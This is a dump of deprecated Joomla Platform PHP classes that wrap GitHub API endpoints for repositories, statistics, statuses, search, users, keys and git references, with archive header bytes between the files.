* GitHub API class for the Joomla Platform.
*
* The Repository Statistics API allows you to fetch the data that GitHub
uses for
* visualizing different types of repository activity.
*
* @documentation https://developer.github.com/v3/repos/statistics
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesStatistics extends JGithubPackage
{
/**
* Get contributors list with additions, deletions, and commit counts.
*
* Response include:
* total - The Total number of commits authored by the contributor.
*
* Weekly Hash
*
* w - Start of the week
* a - Number of additions
* d - Number of deletions
* c - Number of commits
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getListContributors($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/contributors';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the last year of commit activity data.
*
* Returns the last year of commit activity grouped by week.
* The days array is a group of commits per day, starting on Sunday.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getActivityData($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/commit_activity';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the number of additions and deletions per week.
*
* Response returns a weekly aggregate of the number of additions and
deletions pushed to a repository.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getCodeFrequency($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/code_frequency';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the weekly commit count for the repo owner and everyone else.
*
* Returns the total commit counts for the "owner" and total
commit counts in "all". "all" is everyone combined,
* including the owner in the last 52 weeks.
* If you’d like to get the commit counts for non-owners, you can
subtract all from owner.
*
* The array order is oldest week (index 0) to most recent week.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getParticipation($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/participation';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Get the number of commits per hour in each day.
*
* Response
* Each array contains the day number, hour number, and number of commits:
*
* 0-6: Sunday - Saturday
* 0-23: Hour of day
* Number of commits
*
* For example, [2, 14, 25] indicates that there were 25 total commits,
during the 2:00pm hour on Tuesdays.
* All times are based on the time zone of individual commits.
*
* @param string $owner The owner of the repository.
* @param string $repo The repository name.
*
* @since 1.0
*
* @return object
*/
public function getPunchCard($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stats/punch_card';
// Send the request.
return
$this->processResponse($this->client->get($this->fetchUrl($path)));
}
/**
* Process the response and decode it.
*
* @param JHttpResponse $response The response.
* @param integer $expectedCode The expected "good"
code.
* @param boolean $decode If the should be response be
JSON decoded.
*
* @return mixed
*
* @since 1.0
* @throws \DomainException
*/
protected function processResponse(JHttpResponse $response, $expectedCode
= 200, $decode = true)
{
if (202 == $response->code)
{
throw new \DomainException(
'GitHub is building the statistics data. Please try again in a few
moments.',
$response->code
);
}
return parent::processResponse($response, $expectedCode, $decode);
}
}
PKLn�[P��#��(github/package/repositories/statuses.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/statuses
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesStatuses extends JGithubPackage
{
/**
* Method to create a status.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value for which to set the
status.
* @param string $state The state (pending, success, error or
failure).
* @param string $targetUrl Optional target URL.
* @param string $description Optional description for the status.
*
* @throws InvalidArgumentException
* @throws DomainException
*
* @since 3.1.4
*
* @return object
*/
public function create($user, $repo, $sha, $state, $targetUrl = null,
$description = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
if (!in_array($state, array('pending', 'success',
'error', 'failure')))
{
throw new InvalidArgumentException('State must be one of pending,
success, error or failure.');
}
// Build the request data.
$data = array(
'state' => $state,
);
if (!is_null($targetUrl))
{
$data['target_url'] = $targetUrl;
}
if (!is_null($description))
{
$data['description'] = $description;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path),
json_encode($data));
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list statuses for an SHA.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha SHA1 for which to get the statuses.
*
* @return array
*
* @since 3.1.4
*/
public function getList($user, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKLn�[_�)�4�4github/package/repositories.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @documentation https://developer.github.com/v3/repos
*
* @property-read JGithubPackageRepositoriesCollaborators $collaborators
GitHub API object for collaborators.
* @property-read JGithubPackageRepositoriesComments $comments
GitHub API object for comments.
* @property-read JGithubPackageRepositoriesCommits $commits
GitHub API object for commits.
* @property-read JGithubPackageRepositoriesContents $contents
GitHub API object for contents.
* @property-read JGithubPackageRepositoriesDownloads $downloads
GitHub API object for downloads.
* @property-read JGithubPackageRepositoriesForks $forks
GitHub API object for forks.
* @property-read JGithubPackageRepositoriesHooks $hooks
GitHub API object for hooks.
* @property-read JGithubPackageRepositoriesKeys $keys
GitHub API object for keys.
* @property-read JGithubPackageRepositoriesMerging $merging
GitHub API object for merging.
* @property-read JGithubPackageRepositoriesStatuses $statuses
GitHub API object for statuses.
*/
class JGithubPackageRepositories extends JGithubPackage
{
protected $name = 'Repositories';
protected $packages = array('collaborators',
'comments', 'commits', 'contents',
'downloads', 'forks', 'hooks',
'keys', 'merging', 'statuses');
/**
* List your repositories.
*
* List repositories for the authenticated user.
*
* @param string $type Sort type. all, owner, public, private,
member. Default: all.
* @param string $sort Sort field. created, updated, pushed,
full_name, default: full_name.
* @param string $direction Sort direction. asc or desc, default: when
using full_name: asc, otherwise desc.
*
* @throws RuntimeException
*
* @return object
*/
public function getListOwn($type = 'all', $sort =
'full_name', $direction = '')
{
if (false == in_array($type, array('all', 'owner',
'public', 'private', 'member')))
{
throw new RuntimeException('Invalid type');
}
if (false == in_array($sort, array('created',
'updated', 'pushed', 'full_name')))
{
throw new RuntimeException('Invalid sort field');
}
// Sort direction default: when using full_name: asc, otherwise desc.
$direction = ($direction) ? : (('full_name' == $sort) ?
'asc' : 'desc');
if (false == in_array($direction, array('asc',
'desc')))
{
throw new RuntimeException('Invalid sort order');
}
// Build the request path.
$path = '/user/repos'
. '?type=' . $type
. '&sort=' . $sort
. '&direction=' . $direction;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List user repositories.
*
* List public repositories for the specified user.
*
* @param string $user The user name.
* @param string $type Sort type. all, owner, member. Default:
all.
* @param string $sort Sort field. created, updated, pushed,
full_name, default: full_name.
* @param string $direction Sort direction. asc or desc, default: when
using full_name: asc, otherwise desc.
*
* @throws RuntimeException
*
* @return object
*/
public function getListUser($user, $type = 'all', $sort =
'full_name', $direction = '')
{
if (false == in_array($type, array('all', 'owner',
'member')))
{
throw new RuntimeException('Invalid type');
}
if (false == in_array($sort, array('created',
'updated', 'pushed', 'full_name')))
{
throw new RuntimeException('Invalid sort field');
}
// Sort direction default: when using full_name: asc, otherwise desc.
$direction = ($direction) ? : (('full_name' == $sort) ?
'asc' : 'desc');
if (false == in_array($direction, array('asc',
'desc')))
{
throw new RuntimeException('Invalid sort order');
}
// Build the request path.
$path = '/users/' . $user . '/repos'
. '?type=' . $type
. '&sort=' . $sort
. '&direction=' . $direction;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List organization repositories.
*
* List repositories for the specified org.
*
* @param string $org The name of the organization.
* @param string $type Sort type. all, public, private, forks,
sources, member. Default: all.
*
* @throws RuntimeException
*
* @return object
*/
public function getListOrg($org, $type = 'all')
{
if (false == in_array($type, array('all', 'public',
'private', 'forks', 'sources',
'member')))
{
throw new RuntimeException('Invalid type');
}
// Build the request path.
$path = '/orgs/' . $org . '/repos'
. '?type=' . $type;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List all repositories.
*
* This provides a dump of every repository, in the order that they were
created.
*
* @param integer $id The integer ID of the last Repository that
you’ve seen.
*
* @throws RuntimeException
*
* @return object
*/
public function getList($id = 0)
{
// Build the request path.
$path = '/repositories';
$path .= ($id) ? '?since=' . (int) $id : '';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a new repository for the authenticated user or an organization.
* OAuth users must supply repo scope.
*
* @param string $name The repository name.
* @param string $org The organization name (if
needed).
* @param string $description The repository description.
* @param string $homepage The repository homepage.
* @param boolean $private Set true to create a private
repository, false to create a public one.
* Creating private repositories
requires a paid GitHub account.
* @param boolean $hasIssues Set true to enable issues for
this repository, false to disable them.
* @param boolean $hasWiki Set true to enable the wiki for
this repository, false to disable it.
* @param boolean $hasDownloads Set true to enable downloads for
this repository, false to disable them.
* @param integer $teamId The id of the team that will be
granted access to this repository.
* This is only valid when creating
a repo in an organization.
* @param boolean $autoInit true to create an initial commit
with empty README.
* @param string $gitignoreTemplate Desired language or platform
.gitignore template to apply.
* Use the name of the template
without the extension. For example,
* “Haskell” Ignored if
auto_init parameter is not provided.
*
* @return object
*/
public function create($name, $org = '', $description =
'', $homepage = '', $private = false, $hasIssues =
false,
$hasWiki = false, $hasDownloads = false, $teamId = 0, $autoInit = false,
$gitignoreTemplate = '')
{
$path = ($org)
// Create a repository for an organization
? '/orgs/' . $org . '/repos'
// Create a repository for a user
: '/user/repos';
$data = array(
'name' => $name,
'description' => $description,
'homepage' => $homepage,
'private' => $private,
'has_issues' => $hasIssues,
'has_wiki' => $hasWiki,
'has_downloads' => $hasDownloads,
'team_id' => $teamId,
'auto_init' => $autoInit,
'gitignore_template' => $gitignoreTemplate,
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
/**
* Get a repository.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function get($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Edit a repository.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $name The repository name.
* @param string $description The repository description.
* @param string $homepage The repository homepage.
* @param boolean $private Set true to create a private
repository, false to create a public one.
* Creating private repositories
requires a paid GitHub account.
* @param boolean $hasIssues Set true to enable issues for this
repository, false to disable them.
* @param boolean $hasWiki Set true to enable the wiki for this
repository, false to disable it.
* @param boolean $hasDownloads Set true to enable downloads for this
repository, false to disable them.
* @param string $defaultBranch Update the default branch for this
repository
*
* @return object
*/
public function edit($owner, $repo, $name, $description = '',
$homepage = '', $private = false, $hasIssues = false,
$hasWiki = false, $hasDownloads = false, $defaultBranch = '')
{
$path = '/repos/' . $owner . '/' . $repo;
$data = array(
'name' => $name,
'description' => $description,
'homepage' => $homepage,
'private' => $private,
'has_issues' => $hasIssues,
'has_wiki' => $hasWiki,
'has_downloads' => $hasDownloads,
'default_branch' => $defaultBranch,
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* List contributors.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $anon Set to 1 or true to include anonymous
contributors in results.
*
* @return object
*/
public function getListContributors($owner, $repo, $anon = false)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/contributors';
$path .= ($anon) ? '?anon=true' : '';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List languages.
*
* List languages for the specified repository. The value on the right of
a language is the number of bytes of code
* written in that language.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListLanguages($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/languages';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List Teams
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListTeams($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/teams';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List Tags.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListTags($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/tags';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List Branches.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function getListBranches($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/branches';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a Branch.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $branch Branch name.
*
* @return object
*/
public function getBranch($owner, $repo, $branch)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/branches/' . $branch;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Delete a Repository.
*
* Deleting a repository requires admin access. If OAuth is used, the
delete_repo scope is required.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @return object
*/
public function delete($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path))
);
}
}
PKLn�[%�l�P
P
github/package/search.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Search class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/search
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageSearch extends JGithubPackage
{
/**
* Search issues.
*
* @param string $owner The name of the owner of the repository.
* @param string $repo The name of the repository.
* @param string $state The state - open or closed.
* @param string $keyword The search term.
*
* @throws UnexpectedValueException
*
* @since 3.3 (CMS)
*
* @return object
*/
public function issues($owner, $repo, $state, $keyword)
{
if (false == in_array($state, array('open',
'close')))
{
throw new UnexpectedValueException('State must be either
"open" or "closed"');
}
// Build the request path.
$path = '/legacy/issues/search/' . $owner . '/' .
$repo . '/' . $state . '/' . $keyword;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Search repositories.
*
* Find repositories by keyword. Note, this legacy method does not follow
* the v3 pagination pattern.
* This method returns up to 100 results per page and pages can be fetched
* using the start_page parameter.
*
* @param string $keyword The search term.
* @param string $language Filter results by language
https://github.com/languages
* @param integer $startPage Page number to fetch
*
* @since 3.3 (CMS)
*
* @return object
*/
public function repositories($keyword, $language = '',
$startPage = 0)
{
// Build the request path.
$path = '/legacy/repos/search/' . $keyword . '?';
$path .= ($language) ? '&language=' . $language :
'';
$path .= ($startPage) ? '&start_page=' . $startPage :
'';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Search users.
*
* Find users by keyword.
*
* @param string $keyword The search term.
* @param integer $startPage Page number to fetch
*
* @since 3.3 (CMS)
*
* @return object
*/
public function users($keyword, $startPage = 0)
{
// Build the request path.
$path = '/legacy/user/search/' . $keyword . '?';
$path .= ($startPage) ? '&start_page=' . $startPage :
'';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Email search.
*
* This API call is added for compatibility reasons only. There’s no
guarantee
* that full email searches will always be available. The @ character in
the
* address must be left unencoded. Searches only against public email
addresses
* (as configured on the user’s GitHub profile).
*
* @param string $email The email address(es).
*
* @since 3.3 (CMS)
*
* @return object
*/
public function email($email)
{
// Build the request path.
$path = '/legacy/user/email/' . $email;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
PKLn�[ĩ*//github/package/users/emails.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* Management of email addresses via the API requires that you are
authenticated
* through basic auth or OAuth with the user scope.
*
* @documentation https://developer.github.com/v3/users/emails
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsersEmails extends JGithubPackage
{
/**
* List email addresses for a user.
*
* Future response:
* In the final version of the API, this method will return an array of
hashes
* with extended information for each email address indicating if the
address
* has been verified and if it’s the user’s primary email address for
GitHub.
*
* Until API v3 is finalized, use the application/vnd.github.v3 media type
* to get this response format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/user/emails';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Add email address(es).
*
* @param string|array $email The email address(es).
*
* @since 3.3 (CMS)
*
* @return object
*/
public function add($email)
{
// Build the request path.
$path = '/user/emails';
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($email)),
201
);
}
/**
* Delete email address(es).
*
* @param string|array $email The email address(es).
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($email)
{
// Build the request path.
$path = '/user/emails';
$this->client->setOption('body', json_encode($email));
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKLn�[�x��"github/package/users/followers.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/users/followers
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsersFollowers extends JGithubPackage
{
/**
* List followers of a user.
*
* @param string $user The name of the user. If not set the current
authenticated user will be used.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/followers'
: '/user/followers';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List users followed by another user.
*
* @param string $user The name of the user. If not set the current
authenticated user will be used.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListFollowedBy($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/following'
: '/user/following';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check if you are following a user.
*
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean
*/
public function check($user)
{
// Build the request path.
$path = '/user/following/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204' :
// You are following this user
return true;
break;
case '404' :
// You are not following this user
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Follow a user.
*
* Following a user requires the user to be logged in and authenticated
with
* basic auth or OAuth with the user:follow scope.
*
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function follow($user)
{
// Build the request path.
$path = '/user/following/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Unfollow a user.
*
* Unfollowing a user requires the user to be logged in and authenticated
with
* basic auth or OAuth with the user:follow scope.
*
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function unfollow($user)
{
// Build the request path.
$path = '/user/following/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKLn�[�"���github/package/users/keys.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/users/keys
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsersKeys extends JGithubPackage
{
/**
* List public keys for a user.
*
* Lists the verified public keys for a user. This is accessible by
anyone.
*
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListUser($user)
{
// Build the request path.
$path = '/users/' . $user . '/keys';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List your public keys.
*
* Lists the current user’s keys.
* Management of public keys via the API requires that you are
authenticated
* through basic auth, or OAuth with the ‘user’ scope.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/users/keys';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a single public key.
*
* @param integer $id The id of the key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($id)
{
// Build the request path.
$path = '/users/keys/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a public key
*
* @param string $title The title of the key.
* @param string $key The key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($title, $key)
{
// Build the request path.
$path = '/users/keys';
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
/**
* Update a public key.
*
* @param integer $id The id of the key.
* @param string $title The title of the key.
* @param string $key The key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function edit($id, $title, $key)
{
// Build the request path.
$path = '/users/keys/' . $id;
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* Delete a public key.
*
* @param integer $id The id of the key.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($id)
{
// Build the request path.
$path = '/users/keys/' . (int) $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKLn�[1Ӳ�github/package/users.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/users
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageUsers extends JGithubPackage
{
protected $name = 'Users';
protected $packages = array('emails', 'followers',
'keys');
/**
* Get a single user.
*
* @param string $user The users login name.
*
* @throws DomainException
*
* @return object
*/
public function get($user)
{
// Build the request path.
$path = '/users/' . $user;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get the current authenticated user.
*
* @throws DomainException
*
* @return mixed
*/
public function getAuthenticatedUser()
{
// Build the request path.
$path = '/user';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Update a user.
*
* @param string $name The full name
* @param string $email The email
* @param string $blog The blog
* @param string $company The company
* @param string $location The location
* @param string $hireable If he is unemployed :P
* @param string $bio The biometrical DNA fingerprint (or
something...)
*
* @throws DomainException
*
* @return mixed
*/
public function edit($name = '', $email = '', $blog =
'', $company = '', $location = '', $hireable
= '', $bio = '')
{
$data = array(
'name' => $name,
'email' => $email,
'blog' => $blog,
'company' => $company,
'location' => $location,
'hireable' => $hireable,
'bio' => $bio,
);
// Build the request path.
$path = '/user';
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* Get all users.
*
* This provides a dump of every user, in the order that they signed up
for GitHub.
*
* @param integer $since The integer ID of the last User that you’ve
seen.
*
* @throws DomainException
* @return mixed
*/
public function getList($since = 0)
{
// Build the request path.
$path = '/users';
$path .= ($since) ? '?since=' . $since : '';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/*
* Legacy methods
*/
/**
* Get a single user.
*
* @param string $user The users login name.
*
* @deprecated use users->get()
*
* @throws DomainException
*
* @return mixed
*/
public function getUser($user)
{
return $this->get($user);
}
/**
* Update a user.
*
* @param string $name The full name
* @param string $email The email
* @param string $blog The blog
* @param string $company The company
* @param string $location The location
* @param string $hireable If he is unemployed :P
* @param string $bio The biometrical DNA fingerprint (or
something...)
*
* @deprecated use users->edit()
*
* @throws DomainException
*
* @return mixed
*/
public function updateUser($name = '', $email = '',
$blog = '', $company = '', $location = '',
$hireable = '', $bio = '')
{
return $this->edit($name = '', $email = '', $blog
= '', $company = '', $location = '',
$hireable = '', $bio = '');
}
/**
* Get all users.
*
* This provides a dump of every user, in the order that they signed up
for GitHub.
*
* @param integer $since The integer ID of the last User that you’ve
seen.
*
* @deprecated use users->getList()
*
* @throws DomainException
* @return mixed
*/
public function getUsers($since = 0)
{
return $this->getList($since);
}
}
PKLn�[�`���github/package.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API package class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
abstract class JGithubPackage extends JGithubObject
{
/**
* @var string
* @since 3.3 (CMS)
*/
protected $name = '';
/**
* @var array
* @since 3.3 (CMS)
*/
protected $packages = array();
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JGithubPackage GitHub API package object.
*
* @since 3.3 (CMS)
* @throws RuntimeException
*/
public function __get($name)
{
if (false == in_array($name, $this->packages))
{
throw new RuntimeException(sprintf('%1$s - Unknown package
%2$s', __METHOD__, $name));
}
if (false == isset($this->$name))
{
$className = 'JGithubPackage' . ucfirst($this->name) .
ucfirst($name);
$this->$name = new $className($this->options, $this->client);
}
return $this->$name;
}
}
PKLn�[L�44github/refs.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubRefs extends JGithubObject
{
/**
* Method to create an issue.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The name of the fully qualified reference.
* @param string $sha The SHA1 value to set this reference to.
*
* @deprecated use data->refs->create()
*
* @return object
*
* @since 1.7.3
*/
public function create($user, $repo, $ref, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs';
// Build the request data.
$data = json_encode(
array(
'ref' => $ref,
'sha' => $sha,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a reference.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to update.
* @param string $sha The SHA1 value to set the reference to.
* @param string $force Whether the update should be forced. Default
to false.
*
* @deprecated use data->refs->edit()
*
* @return object
*
* @since 1.7.3
*/
public function edit($user, $repo, $ref, $sha, $force = false)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
// Create the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if ($force)
{
$data->force = true;
}
$data->sha = $sha;
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a reference.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to get.
*
* @deprecated use data->refs->get()
*
* @return object
*
* @since 1.7.3
*/
public function get($user, $repo, $ref)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
